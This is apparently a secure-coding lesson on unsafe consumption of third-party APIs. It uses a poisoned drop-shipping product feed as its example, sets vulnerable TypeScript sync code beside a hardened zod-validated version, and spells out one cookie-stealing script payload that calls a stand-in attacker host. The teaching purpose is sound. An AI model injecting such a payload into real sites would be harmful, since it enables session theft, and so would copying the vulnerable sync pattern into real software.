Trusting the other API because you like the company that runs it
Unsafe Consumption of APIs

An e-commerce app pulls product listings from a third-party drop-shipping API. New products appear automatically.

1. 1
   Compromise the upstream

   The attacker finds a way — social engineering, a leaked API key, their own seller account — to edit product descriptions on the drop-shipping platform.
2. 2
   Inject through the pipe

   They set a product description to <script>fetch('https://evil.example/?c='+document.cookie)</script>. The downstream app pulls the feed and caches it.
3. 3
   Hit every store

   Every e-commerce site consuming that feed now renders the script on the product page. The app validated the form inputs from its own users but treated the supplier JSON as safe.
4. 4
   Follow the redirect

   Same app also uses the supplier API for product images. The supplier returns a 302 to an internal URL. Image proxy follows it. See also: API7.

One compromise at one supplier becomes a compromise at every downstream app consuming the feed. The downstream apps are 'correct' — their own user input is validated. They just never considered that the upstream was input too.

// lib/sync-products.ts
export async function syncProducts() {
  const res = await fetch('https://supplier.example/api/products');
  const data = await res.json();

  // Straight into the database — shape, size, content all trusted.
  for (const product of data.products) {
    await db.product.upsert({
      where: { sku: product.sku },
      create: product,
      update: product,
    });
  }
}

// lib/sync-products.ts
import { z } from 'zod';

const ProductSchema = z.object({
  sku: z.string().max(64),
  title: z.string().max(200),
  description: z.string().max(5_000),
  priceCents: z.number().int().min(0).max(100_000_00),
  imageUrl: z.string().url().startsWith('https://'),
});
const FeedSchema = z.object({
  products: z.array(ProductSchema).max(1_000),
});

export async function syncProducts() {
  const res = await fetch('https://supplier.example/api/products', {
    redirect: 'error',
    signal: AbortSignal.timeout(10_000),
  });
  if (!res.ok) throw new Error('supplier returned ' + res.status);

  const raw = await res.json();
  const feed = FeedSchema.parse(raw); // throws on shape drift

  for (const product of feed.products) {
    await db.product.upsert({
      where: { sku: product.sku },
      create: product,
      update: product,
    });
  }
}

Every third-party response gets a schema. Every string has a max length. Every URL is https and resolved. Redirects are off. The partner is still trusted to exist and pay their bills — their JSON is not trusted to have the shape you expect.